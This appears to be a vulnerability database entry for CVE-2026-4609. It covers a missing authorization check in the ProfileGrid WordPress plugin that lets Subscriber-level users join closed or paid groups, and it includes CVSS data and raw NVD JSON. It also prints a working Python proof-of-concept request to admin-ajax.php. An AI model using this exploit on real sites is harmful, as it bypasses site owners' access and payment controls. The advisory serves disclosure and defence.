Security Vulnerability Report
中文
CVE-2026-4609 CVSS 7.1 HIGH

CVE-2026-4609

Published: 2026-05-13 14:17:59
Last Modified: 2026-05-13 14:43:47

Description

The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the pm_invite_user function in all versions up to, and including, 5.9.8.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to add themselves or any registered user to any ProfileGrid group, including closed and paid groups, bypassing all authorization and payment gates.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

No configuration data available.

ProfileGrid – User Profiles, Groups and Communities <= 5.9.8.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (WordPress AJAX endpoint) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker session cookie (Subscriber level) cookies = { "wordpress_logged_in_xxxxx": "your_cookie_value_here" } # Exploit payload # group_id: Target group ID (e.g., premium group) # user_id: User ID to add (attacker's ID or victim's ID) payload = { "action": "pm_invite_user", "group_id": "2", "user_id": "1" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check group membership.") else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] Error:", e)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4609", "sourceIdentifier": "[email protected]", "published": "2026-05-13T14:17:58.520", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the pm_invite_user function in all versions up to, and including, 5.9.8.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to add themselves or any registered user to any ProfileGrid group, including closed and paid groups, bypassing all authorization and payment gates."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/profilegrid-user-profiles-groups-and-communities/trunk/public/class-profile-magic-public.php#L3280", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/profilegrid-user-profiles-groups-and-communities/trunk/public/class-profile-magic-public.php#L3319", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3491679/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c3678b4d-0cd0-4873-8cf3-90c557931f4c?source=cve", "source": "[email protected]"}]}}